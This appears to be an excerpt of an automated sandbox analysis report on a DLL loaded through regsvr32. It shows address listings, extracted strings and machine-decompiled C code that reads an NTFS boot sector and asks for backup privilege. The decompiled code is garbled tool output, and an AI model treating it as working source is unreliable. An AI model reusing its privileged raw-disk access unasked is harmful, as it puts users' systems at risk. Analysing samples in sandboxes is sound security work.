                                                                                                        0x1800097ad
                                                                                                        0x1800097af
                                                                                                        0x1800097b5
                                                                                                        0x1800097b9
                                                                                                        0x1800097bf
                                                                                                        0x1800097c8
                                                                                                        0x1800097cd
                                                                                                        0x1800097d1
                                                                                                        0x1800097d6
                                                                                                        0x1800097dc
                                                                                                        0x1800097de
                                                                                                        0x1800097e5
                                                                                                        0x1800097e7
                                                                                                        0x1800097ef
                                                                                                        0x1800097fc
                                                                                                        0x180009805
                                                                                                        0x18000980f
                                                                                                        0x180009813
                                                                                                        0x180009819
                                                                                                        0x180009826
                                                                                                        0x18000982f
                                                                                                        0x180009831
                                                                                                        0x180009836
                                                                                                        0x180009839
                                                                                                        0x18000983b
                                                                                                        0x18000983d
                                                                                                        0x18000983f
                                                                                                        0x180009845
                                                                                                        0x180009849
                                                                                                        0x18000984b
                                                                                                        0x180009851
                                                                                                        0x180009855
                                                                                                        0x180009857
                                                                                                        0x18000985d
                                                                                                        0x180009861
                                                                                                        0x180009863
                                                                                                        0x180009869
                                                                                                        0x18000986d
                                                                                                        0x18000986f
                                                                                                        0x180009871
                                                                                                        0x180009875
                                                                                                        0x18000987b
                                                                                                        0x180009884
                                                                                                        0x180009889
                                                                                                        0x18000988d
                                                                                                        0x180009892
                                                                                                        0x180009898
                                                                                                        0x18000989a
                                                                                                        0x1800098a1
                                                                                                        0x1800098a3
                                                                                                        0x1800098a8
                                                                                                        0x1800098aa
                                                                                                        0x1800098b3
                                                                                                        0x1800098b8
                                                                                                        0x1800098c1
                                                                                                        0x1800098ce
                                                                                                        0x1800098db
                                                                                                        0x1800098e1
                                                                                                        0x1800098e8
                                                                                                        0x1800098ec
                                                                                                        0x1800098f2
                                                                                                        0x1800098fb
                                                                                                        0x180009900
                                                                                                        0x18000990c
                                                                                                        0x180009912
                                                                                                        0x180009917
                                                                                                        0x18000991f
                                                                                                        0x180009921
                                                                                                        0x180009924
                                                                                                        0x180009929
                                                                                                        0x180009930
                                                                                                        0x18000993a
                                                                                                        0x180009943
                                                                                                        0x18000994f
                                                                                                        0x180009952
                                                                                                        0x18000995c
                                                                                                        0x180009960
                                                                                                        0x180009969
                                                                                                        0x180009974
                                                                                                        0x180009980
                                                                                                        0x180009986
                                                                                                        0x18000998b
                                                                                                        0x180009996
                                                                                                        0x1800099a7
                                                                                                        0x1800099aa
                                                                                                        0x1800099b1
                                                                                                        0x1800099bb
                                                                                                        0x1800099c0
                                                                                                        0x1800099c4
                                                                                                        0x1800099cc
                                                                                                        0x1800099d6
                                                                                                        0x1800099db
                                                                                                        0x1800099e0
                                                                                                        0x1800099e6
                                                                                                        0x1800099eb
                                                                                                        0x1800099f7
                                                                                                        0x1800099fd
                                                                                                        0x180009a00
                                                                                                        0x180009a05
                                                                                                        0x180009a09
                                                                                                        0x180009a0e
                                                                                                        0x180009a13
                                                                                                        0x180009a18
                                                                                                        0x180009a20
                                                                                                        0x180009a28
                                                                                                        0x180009a30
                                                                                                        0x180009a3d
                                                                                                        0x180009a3f
                                                                                                        0x180009a42
                                                                                                        0x180009a47
                                                                                                        0x180009a4a
                                                                                                        0x180009a53
                                                                                                        0x180009a57
                                                                                                        0x180009a5a
                                                                                                        0x180009a5f
                                                                                                        0x180009a6a
                                                                                                        0x180009a6f
                                                                                                        0x180009a73
                                                                                                        0x180009a7b
                                                                                                        0x180009a85
                                                                                                        0x180009a8a
                                                                                                        0x180009a8f
                                                                                                        0x180009a91
                                                                                                        0x180009a96
                                                                                                        0x180009a9c
                                                                                                        0x180009aa8
                                                                                                        0x180009aae
                                                                                                        0x180009ac2
                                                                                                        0x180009ac7
                                                                                                        0x180009acb
                                                                                                        0x180009acf
                                                                                                        0x180009ad4
                                                                                                        0x180009ada
                                                                                                        0x180009adc
                                                                                                        0x180009ae2
                                                                                                        0x180009ae8
                                                                                                        0x180009aef
                                                                                                        0x180009afa
                                                                                                        0x180009b00
                                                                                                        0x180009b05
                                                                                                        0x180009b08
                                                                                                        0x180009b14
                                                                                                        0x180009b2e
                                                                                                        0x180009b42
                                                                                                        0x180009b4b
                                                                                                        0x180009b4e
                                                                                                        0x180009b57
                                                                                                        0x180009b60
                                                                                                        0x180009b63
                                                                                                        0x180009b66
                                                                                                        0x180009b6b
                                                                                                        0x180009b6e
                                                                                                        0x180009b73
                                                                                                        0x180009b7f
                                                                                                        0x180009b87
                                                                                                        0x180009b8d
                                                                                                        0x180009b94
                                                                                                        0x180009b9d
                                                                                                        0x180009ba3
                                                                                                        0x180009ba7
                                                                                                        0x180009ba9
                                                                                                        0x180009bb3
                                                                                                        0x180009bbe
                                                                                                        0x180009bcb
                                                                                                        0x180009bd5
                                                                                                        0x180009bdb
                                                                                                        0x180009be2
                                                                                                        0x180009bf1
                                                                                                        0x180009bf4
                                                                                                        0x180009bf7
                                                                                                        0x180009c00
                                                                                                        0x180009c09
                                                                                                        0x180009c13
                                                                                                        0x180009c17
                                                                                                        0x180009c1d
                                                                                                        0x180009c2a
                                                                                                        0x180009c33
                                                                                                        0x180009c35
                                                                                                        0x180009c3a
                                                                                                        0x180009c3d
                                                                                                        0x180009c3f
                                                                                                        0x180009c41
                                                                                                        0x180009c47
                                                                                                        0x180009c50
                                                                                                        0x180009c54
                                                                                                        0x180009c56
                                                                                                        0x180009c60
                                                                                                        0x180009c64
                                                                                                        0x180009c66
                                                                                                        0x180009c70
                                                                                                        0x180009c74
                                                                                                        0x180009c76
                                                                                                        0x180009c80
                                                                                                        0x180009c84
                                                                                                        0x180009c86
                                                                                                        0x180009c8c
                                                                                                        0x180009c90
                                                                                                        0x180009c96
                                                                                                        0x180009c9f
                                                                                                        0x180009ca4
                                                                                                        0x180009ca8
                                                                                                        0x180009cad
                                                                                                        0x180009cb3
                                                                                                        0x180009cb5
                                                                                                        0x180009cbc
                                                                                                        0x180009cbe
                                                                                                        0x180009cc6
                                                                                                        0x180009cd3
                                                                                                        0x180009cdc
                                                                                                        0x180009ce6
                                                                                                        0x180009cea
                                                                                                        0x180009cf0
                                                                                                        0x180009cfd
                                                                                                        0x180009d06
                                                                                                        0x180009d08
                                                                                                        0x180009d0d
                                                                                                        0x180009d10
                                                                                                        0x180009d12
                                                                                                        0x180009d14
                                                                                                        0x180009d16
                                                                                                        0x180009d1c
                                                                                                        0x180009d20
                                                                                                        0x180009d22
                                                                                                        0x180009d28
                                                                                                        0x180009d2c
                                                                                                        0x180009d2e
                                                                                                        0x180009d34
                                                                                                        0x180009d38
                                                                                                        0x180009d3a
                                                                                                        0x180009d40
                                                                                                        0x180009d44
                                                                                                        0x180009d46
                                                                                                        0x180009d48
                                                                                                        0x180009d4c
                                                                                                        0x180009d52
                                                                                                        0x180009d5b
                                                                                                        0x180009d60
                                                                                                        0x180009d64
                                                                                                        0x180009d69
                                                                                                        0x180009d6f
                                                                                                        0x180009d71
                                                                                                        0x180009d78
                                                                                                        0x180009d7a
                                                                                                        0x180009d7f
                                                                                                        0x180009d81
                                                                                                        0x180009d8a
                                                                                                        0x180009d8f
                                                                                                        0x180009d98
                                                                                                        0x180009da5
                                                                                                        0x180009db2
                                                                                                        0x180009db8
                                                                                                        0x180009dbf
                                                                                                        0x180009dc3
                                                                                                        0x180009dc9
                                                                                                        0x180009dd2
                                                                                                        0x180009dd7
                                                                                                        0x180009de3
                                                                                                        0x180009de9
                                                                                                        0x180009dee
                                                                                                        0x180009df6
                                                                                                        0x180009df8
                                                                                                        0x180009dfb
                                                                                                        0x180009e00
                                                                                                        0x180009e07
                                                                                                        0x180009e11
                                                                                                        0x180009e1a
                                                                                                        0x180009e26
                                                                                                        0x180009e29
                                                                                                        0x180009e33
                                                                                                        0x180009e37
                                                                                                        0x180009e40
                                                                                                        0x180009e4b
                                                                                                        0x180009e57
                                                                                                        0x180009e5d
                                                                                                        0x180009e62
                                                                                                        0x180009e6d
                                                                                                        0x180009e7e
                                                                                                        0x180009e81
                                                                                                        0x180009e88
                                                                                                        0x180009e92
                                                                                                        0x180009e97
                                                                                                        0x180009e9b
                                                                                                        0x180009ea3
                                                                                                        0x180009ead
                                                                                                        0x180009eb2
                                                                                                        0x180009eb7
                                                                                                        0x180009ebd
                                                                                                        0x180009ec2
                                                                                                        0x180009ece
                                                                                                        0x180009ed4
                                                                                                        0x180009ed7
                                                                                                        0x180009edc
                                                                                                        0x180009ee0
                                                                                                        0x180009ee5
                                                                                                        0x180009eea
                                                                                                        0x180009eef
                                                                                                        0x180009ef7
                                                                                                        0x180009eff
                                                                                                        0x180009f07
                                                                                                        0x180009f14
                                                                                                        0x180009f16
                                                                                                        0x180009f19
                                                                                                        0x180009f1e
                                                                                                        0x180009f21
                                                                                                        0x180009f2a
                                                                                                        0x180009f2e
                                                                                                        0x180009f31
                                                                                                        0x180009f36
                                                                                                        0x180009f41
                                                                                                        0x180009f46
                                                                                                        0x180009f4a
                                                                                                        0x180009f52
                                                                                                        0x180009f5c
                                                                                                        0x180009f61
                                                                                                        0x180009f66
                                                                                                        0x180009f68
                                                                                                        0x180009f6d
                                                                                                        0x180009f73
                                                                                                        0x180009f7f
                                                                                                        0x180009f85
                                                                                                        0x180009f99
                                                                                                        0x180009f9e
                                                                                                        0x180009fa2
                                                                                                        0x180009fa6
                                                                                                        0x180009fab
                                                                                                        0x180009fb1
                                                                                                        0x180009fb3
                                                                                                        0x180009fb9
                                                                                                        0x180009fbf
                                                                                                        0x180009fca
                                                                                                        0x180009fd3
                                                                                                        0x180009fd9
                                                                                                        0x180009fde
                                                                                                        0x180009fe1
                                                                                                        0x180009fed
                                                                                                        0x18000a007
                                                                                                        0x18000a01b
                                                                                                        0x18000a024
                                                                                                        0x18000a027
                                                                                                        0x18000a030
                                                                                                        0x18000a039
                                                                                                        0x18000a03c
                                                                                                        0x18000a03f
                                                                                                        0x18000a044
                                                                                                        0x18000a047
                                                                                                        0x18000a04c
                                                                                                        0x18000a058
                                                                                                        0x18000a060
                                                                                                        0x18000a066
                                                                                                        0x18000a06d
                                                                                                        0x18000a076
                                                                                                        0x18000a07c
                                                                                                        0x18000a080
                                                                                                        0x18000a082
                                                                                                        0x18000a08c
                                                                                                        0x18000a097
                                                                                                        0x18000a0a4
                                                                                                        0x18000a0ae
                                                                                                        0x18000a0b4
                                                                                                        0x18000a0bb
                                                                                                        0x18000a0ca
                                                                                                        0x18000a0cd
                                                                                                        0x18000a0d0
                                                                                                        0x18000a0d9
                                                                                                        0x18000a0e2
                                                                                                        0x18000a0ec
                                                                                                        0x18000a0f0
                                                                                                        0x18000a0f6
                                                                                                        0x18000a103
                                                                                                        0x18000a10c
                                                                                                        0x18000a10e
                                                                                                        0x18000a113
                                                                                                        0x18000a116
                                                                                                        0x18000a118
                                                                                                        0x18000a11a
                                                                                                        0x18000a120
                                                                                                        0x18000a129
                                                                                                        0x18000a12d
                                                                                                        0x18000a12f
                                                                                                        0x18000a139
                                                                                                        0x18000a13d
                                                                                                        0x18000a13f
                                                                                                        0x18000a149
                                                                                                        0x18000a14d
                                                                                                        0x18000a14f
                                                                                                        0x18000a159
                                                                                                        0x18000a15d
                                                                                                        0x18000a15f
                                                                                                        0x18000a165
                                                                                                        0x18000a169
                                                                                                        0x18000a16f
                                                                                                        0x18000a178
                                                                                                        0x18000a17d
                                                                                                        0x18000a181
                                                                                                        0x18000a186
                                                                                                        0x18000a18c
                                                                                                        0x18000a18e
                                                                                                        0x18000a195
                                                                                                        0x18000a197
                                                                                                        0x18000a19f
                                                                                                        0x18000a1ac
                                                                                                        0x18000a1b5
                                                                                                        0x18000a1bf
                                                                                                        0x18000a1c3
                                                                                                        0x18000a1c9
                                                                                                        0x18000a1d6
                                                                                                        0x18000a1df
                                                                                                        0x18000a1e1
                                                                                                        0x18000a1e6
                                                                                                        0x18000a1e9
                                                                                                        0x18000a1eb
                                                                                                        0x18000a1ed
                                                                                                        0x18000a1ef
                                                                                                        0x18000a1f5
                                                                                                        0x18000a1f9
                                                                                                        0x18000a1fb
                                                                                                        0x18000a201
                                                                                                        0x18000a205
                                                                                                        0x18000a207
                                                                                                        0x18000a20d
                                                                                                        0x18000a211
                                                                                                        0x18000a213
                                                                                                        0x18000a219
                                                                                                        0x18000a21d
                                                                                                        0x18000a21f
                                                                                                        0x18000a221
                                                                                                        0x18000a225
                                                                                                        0x18000a22b
                                                                                                        0x18000a234
                                                                                                        0x18000a239
                                                                                                        0x18000a23d
                                                                                                        0x18000a242
                                                                                                        0x18000a248
                                                                                                        0x18000a24a
                                                                                                        0x18000a251
                                                                                                        0x18000a253
                                                                                                        0x18000a258
                                                                                                        0x18000a25a
                                                                                                        0x18000a263
                                                                                                        0x18000a268
                                                                                                        0x18000a271
                                                                                                        0x18000a27e
                                                                                                        0x18000a28b
                                                                                                        0x18000a291
                                                                                                        0x18000a298
                                                                                                        0x18000a29c
                                                                                                        0x18000a2a2
                                                                                                        0x18000a2ab
                                                                                                        0x18000a2b0
                                                                                                        0x18000a2bc
                                                                                                        0x18000a2c2
                                                                                                        0x18000a2c7
                                                                                                        0x18000a2cf
                                                                                                        0x18000a2d1
                                                                                                        0x18000a2d4
                                                                                                        0x18000a2d9
                                                                                                        0x18000a2e0
                                                                                                        0x18000a2ea
                                                                                                        0x18000a2f3
                                                                                                        0x18000a2ff
                                                                                                        0x18000a302
                                                                                                        0x18000a30c
                                                                                                        0x18000a310
                                                                                                        0x18000a319
                                                                                                        0x18000a330
                                                                                                        0x18000a336
                                                                                                        0x18000a33b
                                                                                                        0x18000a346
                                                                                                        0x18000a357
                                                                                                        0x18000a35a
                                                                                                        0x18000a361
                                                                                                        0x18000a36b
                                                                                                        0x18000a370
                                                                                                        0x18000a374
                                                                                                        0x18000a37c
                                                                                                        0x18000a386
                                                                                                        0x18000a38b
                                                                                                        0x18000a390
                                                                                                        0x18000a396
                                                                                                        0x18000a39b
                                                                                                        0x18000a3a7
                                                                                                        0x18000a3ad
                                                                                                        0x18000a3b0
                                                                                                        0x18000a3b5
                                                                                                        0x18000a3b9
                                                                                                        0x18000a3be
                                                                                                        0x18000a3c3
                                                                                                        0x18000a3c8
                                                                                                        0x18000a3d0
                                                                                                        0x18000a3d8
                                                                                                        0x18000a3e0
                                                                                                        0x18000a3ed
                                                                                                        0x18000a3ef
                                                                                                        0x18000a3f2
                                                                                                        0x18000a3f7
                                                                                                        0x18000a3fa
                                                                                                        0x18000a403
                                                                                                        0x18000a407
                                                                                                        0x18000a40a
                                                                                                        0x18000a40f
                                                                                                        0x18000a41a
                                                                                                        0x18000a41f
                                                                                                        0x18000a423
                                                                                                        0x18000a42b
                                                                                                        0x18000a435
                                                                                                        0x18000a43a
                                                                                                        0x18000a43f
                                                                                                        0x18000a441
                                                                                                        0x18000a446
                                                                                                        0x18000a44c
                                                                                                        0x18000a451
                                                                                                        0x18000a458
                                                                                                        0x18000a45e
                                                                                                        0x18000a472
                                                                                                        0x18000a477
                                                                                                        0x18000a47b
                                                                                                        0x18000a47f
                                                                                                        0x18000a484
                                                                                                        0x18000a48a
                                                                                                        0x18000a48c
                                                                                                        0x18000a492
                                                                                                        0x18000a4a3
                                                                                                        0x18000a4ac
                                                                                                        0x18000a4b2
                                                                                                        0x18000a4b9
                                                                                                        0x18000a4c5
                                                                                                        0x18000a4df
                                                                                                        0x18000a4f1
                                                                                                        0x18000a4fa
                                                                                                        0x18000a4fd
                                                                                                        0x18000a506
                                                                                                        0x18000a50f
                                                                                                        0x18000a512
                                                                                                        0x18000a515
                                                                                                        0x18000a51a
                                                                                                        0x18000a51d
                                                                                                        0x18000a52e
                                                                                                        0x18000a536
                                                                                                        0x18000a53c
                                                                                                        0x18000a543
                                                                                                        0x18000a54c
                                                                                                        0x18000a552
                                                                                                        0x18000a556
                                                                                                        0x18000a558
                                                                                                        0x18000a562
                                                                                                        0x18000a56d
                                                                                                        0x18000a57a
                                                                                                        0x18000a584
                                                                                                        0x18000a58a
                                                                                                        0x18000a591
                                                                                                        0x18000a5a0
                                                                                                        0x18000a5a3
                                                                                                        0x18000a5a6
                                                                                                        0x18000a5af
                                                                                                        0x18000a5b8
                                                                                                        0x18000a5c2
                                                                                                        0x18000a5c6
                                                                                                        0x18000a5cc
                                                                                                        0x18000a5d9
                                                                                                        0x18000a5e2
                                                                                                        0x18000a5e4
                                                                                                        0x18000a5e9
                                                                                                        0x18000a5ec
                                                                                                        0x18000a5ee
                                                                                                        0x18000a5f0
                                                                                                        0x18000a5f6
                                                                                                        0x18000a5ff
                                                                                                        0x18000a603
                                                                                                        0x18000a605
                                                                                                        0x18000a60f
                                                                                                        0x18000a613
                                                                                                        0x18000a615
                                                                                                        0x18000a61f
                                                                                                        0x18000a623
                                                                                                        0x18000a625
                                                                                                        0x18000a62f
                                                                                                        0x18000a633
                                                                                                        0x18000a635
                                                                                                        0x18000a63b
                                                                                                        0x18000a63f
                                                                                                        0x18000a645
                                                                                                        0x18000a64e
                                                                                                        0x18000a653
                                                                                                        0x18000a657
                                                                                                        0x18000a65c
                                                                                                        0x18000a662
                                                                                                        0x18000a664
                                                                                                        0x18000a66b
                                                                                                        0x18000a66d
                                                                                                        0x18000a675
                                                                                                        0x18000a682
                                                                                                        0x18000a68b
                                                                                                        0x18000a695
                                                                                                        0x18000a699
                                                                                                        0x18000a69f
                                                                                                        0x18000a6ac
                                                                                                        0x18000a6b5
                                                                                                        0x18000a6b7
                                                                                                        0x18000a6bc
                                                                                                        0x18000a6bf
                                                                                                        0x18000a6c1
                                                                                                        0x18000a6c3
                                                                                                        0x18000a6c5
                                                                                                        0x18000a6cb
                                                                                                        0x18000a6cf
                                                                                                        0x18000a6d1
                                                                                                        0x18000a6d7
                                                                                                        0x18000a6db
                                                                                                        0x18000a6dd
                                                                                                        0x18000a6e3
                                                                                                        0x18000a6e7
                                                                                                        0x18000a6e9
                                                                                                        0x18000a6ef
                                                                                                        0x18000a6f3
                                                                                                        0x18000a6f5
                                                                                                        0x18000a6f7
                                                                                                        0x18000a6fb
                                                                                                        0x18000a701
                                                                                                        0x18000a70a
                                                                                                        0x18000a70f
                                                                                                        0x18000a713
                                                                                                        0x18000a718
                                                                                                        0x18000a71e
                                                                                                        0x18000a720
                                                                                                        0x18000a727
                                                                                                        0x18000a729
                                                                                                        0x18000a72e
                                                                                                        0x18000a730
                                                                                                        0x18000a739
                                                                                                        0x18000a73e
                                                                                                        0x18000a747
                                                                                                        0x18000a754
                                                                                                        0x18000a767
                                                                                                        0x18000a76e
                                                                                                        0x18000a772
                                                                                                        0x18000a778
                                                                                                        0x18000a781
                                                                                                        0x18000a786
                                                                                                        0x18000a792
                                                                                                        0x18000a794
                                                                                                        0x18000a798
                                                                                                        0x18000a7a0
                                                                                                        0x18000a7a2
                                                                                                        0x18000a7a8
                                                                                                        0x18000a7b1
                                                                                                        0x18000a7bb
                                                                                                        0x18000a7c5
                                                                                                        0x18000a7ce
                                                                                                        0x18000a7da
                                                                                                        0x18000a7dd
                                                                                                        0x18000a7e7
                                                                                                        0x18000a7eb
                                                                                                        0x18000a7f4
                                                                                                        0x18000a80b
                                                                                                        0x18000a811
                                                                                                        0x18000a816
                                                                                                        0x18000a81e
                                                                                                        0x18000a82f
                                                                                                        0x18000a832
                                                                                                        0x18000a839
                                                                                                        0x18000a843
                                                                                                        0x18000a848
                                                                                                        0x18000a84c
                                                                                                        0x18000a854
                                                                                                        0x18000a85e
                                                                                                        0x18000a863
                                                                                                        0x18000a868
                                                                                                        0x18000a86e
                                                                                                        0x18000a873
                                                                                                        0x18000a87f
                                                                                                        0x18000a885
                                                                                                        0x18000a888
                                                                                                        0x18000a88d
                                                                                                        0x18000a891
                                                                                                        0x18000a896
                                                                                                        0x18000a89b
                                                                                                        0x18000a8a0
                                                                                                        0x18000a8a8
                                                                                                        0x18000a8b0
                                                                                                        0x18000a8b8
                                                                                                        0x18000a8c5
                                                                                                        0x18000a8ca
                                                                                                        0x18000a8cf
                                                                                                        0x18000a8d2
                                                                                                        0x18000a8db
                                                                                                        0x18000a8df
                                                                                                        0x18000a8e2
                                                                                                        0x18000a8f2
                                                                                                        0x18000a8f7
                                                                                                        0x18000a8fb
                                                                                                        0x18000a903
                                                                                                        0x18000a90d
                                                                                                        0x18000a912
                                                                                                        0x18000a917
                                                                                                        0x18000a919
                                                                                                        0x18000a91e
                                                                                                        0x18000a921
                                                                                                        0x18000a933
                                                                                                        0x18000a939
                                                                                                        0x18000a941
                                                                                                        0x18000a94d
                                                                                                        0x18000a952
                                                                                                        0x18000a956
                                                                                                        0x18000a95a
                                                                                                        0x18000a962
                                                                                                        0x18000a964
                                                                                                        0x18000a96a
                                                                                                        0x18000a975
                                                                                                        0x18000a97f
                                                                                                        0x18000a97f
                                                                                                        0x18000a983
                                                                                                        0x18000a994
                                                                                                        0x18000a996
                                                                                                        0x18000a9a6
                                                                                                        0x18000a9b2
                                                                                                        0x18000a9b4
                                                                                                        0x18000a9c0
                                                                                                        0x18000a9f0

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintf$ErrorLastVolume$ControlDeviceNameProcessToken$AdjustCloseCreateCurrentDiskFileFreeHandleLookupMountOpenPathPointPrivilegePrivilegesSpaceValue_fread_nolock_invalid_parameter_noinfo
                                                                                                        • String ID: %c:\*$%s*$%s\$%s\hiberfil.sys$Cannot open volume '%s' at mountpoint '%s': %s$Finished sorting zone %u.$Info: could not elevate to SeBackupPrivilege.$Input mask: %s$Item partially placed, %I64u clusters more to do$SeBackupPrivilege$Will not process this disk, it contains hybernated data.$\\.\%s$`
                                                                                                        • API String ID: 546147542-3445241966
                                                                                                        • Opcode ID: c006267951503ab8194e85c65dc0ac955aa7096a4aef1de8a2c5c0eb2c0e8212
                                                                                                        • Instruction ID: 0297ce15fcfb97714783a7e18e3118844a58981b08945ca8f6b56654f51b006b
                                                                                                        • Opcode Fuzzy Hash: c006267951503ab8194e85c65dc0ac955aa7096a4aef1de8a2c5c0eb2c0e8212
                                                                                                        • Instruction Fuzzy Hash: 76538E32209B8882EBA6CF65D4443EA77A4F789BD4F548126FE9D47B94DF38C658C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180011580 Relevance: 67.3, APIs: 8, Strings: 30, Instructions: 752fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 62%
                                                                                                        			E00000001180011580(void* __ecx, void* __rax, signed int __rbx, intOrPtr* __rcx, void* __rdx, signed long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				signed int _t347;
				signed int _t348;
				void* _t357;
				void* _t360;
				long _t371;
				void* _t380;
				long _t385;
				long _t407;
				long _t409;
				signed int _t417;
				void* _t482;
				signed long long _t533;
				signed long long _t534;
				signed long long _t538;
				signed long long _t540;
				signed long long _t559;
				long long _t565;
				signed long long _t566;
				signed long long _t570;
				signed long long _t579;
				signed long long _t581;
				signed long long _t582;
				signed long long _t588;
				signed long long _t594;
				signed long long _t602;
				signed long long _t604;
				signed long long _t605;
				signed int* _t609;
				intOrPtr* _t612;
				intOrPtr* _t615;
				signed long long _t618;
				long long* _t619;
				intOrPtr* _t620;
				signed long long _t622;
				signed long long _t625;
				signed long long _t645;
				void* _t652;
				signed long long _t658;
				signed long long _t670;
				void* _t681;
				signed long long _t683;
				signed long long _t713;
				long long* _t732;
				signed long long _t736;
				unsigned long long _t742;
				signed long long _t745;
				signed long long _t747;
				DWORD* _t759;
				void* _t760;
				struct _OVERLAPPED* _t762;
				signed long long _t763;
				signed long long _t764;
				void* _t766;
				signed int* _t767;
				void* _t769;
				signed long long _t770;
				signed long long _t772;
				signed int* _t774;
				signed long long _t777;
				signed long long _t780;
				signed int* _t781;
				signed int _t782;
				signed long long _t785;
				signed int* _t786;
				signed long long _t794;
				void* _t835;
				signed int _t836;
				signed long long _t837;
				void* _t839;
				signed long long _t840;
				long _t841;
				signed long long _t842;
				signed long long _t843;
				signed long long _t845;
				void* _t847;
				signed long long _t850;
				signed long long _t851;
				signed long long _t852;
				signed long long _t853;
				void* _t855;
				void* _t858;
				intOrPtr* _t859;
				signed long long _t860;

				_t772 = __r8;
				_t614 = __rbx;
				 *((long long*)(_t769 + 0x18)) = __rbx;
				_t767 = _t769 - 0xc04a0;
				E00000001180014A10(0xc05a0, __rax, _t835, _t839);
				_t770 = _t769 - __rax;
				_t533 =  *0x800d81f8; // 0x68308725f9ca
				_t534 = _t533 ^ _t770;
				_t767[0x30124] = _t534;
				 *((long long*)(_t767 - 0x20)) = __rcx;
				_t760 = __rdx;
				_t767[0x30020] = 0x8040201;
				_t859 = __rcx;
				_t767[0x30021] = 0x80402010;
				_t7 = _t614 + 1; // 0x2
				r12d = _t7;
				E00000001180005CCC();
				_t856 = _t534;
				0x80026bf8();
				r13d = 0;
				 *(_t767 - 0x28) = _t534;
				_t763 = _t534;
				if (_t534 != 0) goto 0x80011618;
				r8d = 0;
				E00000001180004968(0x40000, r12d, _t534, _t534, __rdx, __r8, L"Error: malloc() returned NULL.", _t858);
				goto 0x800121b1;
				 *(_t770 + 0x20) = _t767 - 0x58;
				r8d = 0x200;
				 *(_t767 - 0x48) = _t847;
				 *(_t767 - 0x40) = _t847;
				if (ReadFile(_t855, _t847, _t841, _t759, _t762) == 0) goto 0x8001216b;
				if ( *(_t770 + 0x60) != 0x200) goto 0x8001216b;
				if ( *((intOrPtr*)(_t763 + 3)) == 0x5346544e) goto 0x80011681;
				_t794 = L"This is not an NTFS disk (different cookie).";
				r8d = 0;
				E00000001180004968(0x40000, r12d, 0x5346544e, _t534, _t763, _t772, _t794, _t766);
				goto 0x800121a9;
				r9d =  *(_t763 + 0xb) & 0x0000ffff;
				r8d =  *(_t763 + 0xd) & 0x000000ff;
				_t836 =  *((intOrPtr*)(_t763 + 0x28));
				_t767[6] =  *((intOrPtr*)(_t763 + 0x30));
				_t538 =  *((intOrPtr*)(_t763 + 0x38));
				_t767[8] = _t538;
				 *((intOrPtr*)(_t760 + 0x108)) = 1;
				 *_t767 = _t794;
				_t767[2] = _t772;
				_t767[4] = _t836;
				if ( *((intOrPtr*)(_t763 + 0x40)) - 0x80 < 0) goto 0x800116ce;
				_t423 = 0x100 -  *((intOrPtr*)(_t763 + 0x40));
				_t728 = __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40));
				_t767[0xa] = __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40));
				goto 0x800116dd;
				_t540 = _t538 * _t772 * _t794;
				_t767[0xa] = _t540;
				_t767[0xc] = _t540;
				 *(_t760 + 0x1a0) = _t772 * _t794;
				if (_t772 == 0) goto 0x80011706;
				 *(_t760 + 0x198) = _t836;
				r8d = 0;
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), 0, _t836, _t534, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"This is an NTFS disk.");
				r8d = 0;
				 *(_t770 + 0x20) =  *((intOrPtr*)(_t763 + 3));
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), r12d,  *((intOrPtr*)(_t763 + 3)), _t534, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"  Disk cookie: %I64X");
				r8d = 0;
				 *(_t770 + 0x20) =  *_t767;
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), r12d,  *_t767, _t534, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"  BytesPerSector: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[4];
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), r12d, _t767[4], _t534, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"  TotalSectors: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[2];
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), r12d, _t767[2], _t856, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"  SectorsPerCluster: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) =  *(_t763 + 0x18) & 0x0000ffff;
				E00000001180004968(0x100 -  *((intOrPtr*)(_t763 + 0x40)), r12d, _t767[2], _t856, __rbx << 0x100 -  *((intOrPtr*)(_t763 + 0x40)), _t772, L"  SectorsPerTrack: %lu");
				r8d = 0;
				 *(_t770 + 0x20) =  *(_t763 + 0x1a) & 0x0000ffff;
				E00000001180004968(_t423, r12d, _t767[2], _t856, _t728, _t772, L"  NumberOfHeads: %lu");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[6];
				E00000001180004968(_t423, r12d, _t767[6], _t856, _t728, _t772, L"  MftStartLcn: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[8];
				E00000001180004968(_t423, r12d, _t767[8], _t856, _t728, _t772, L"  Mft2StartLcn: %I64u");
				r8d = 0;
				 *(_t770 + 0x20) = _t767[0xa];
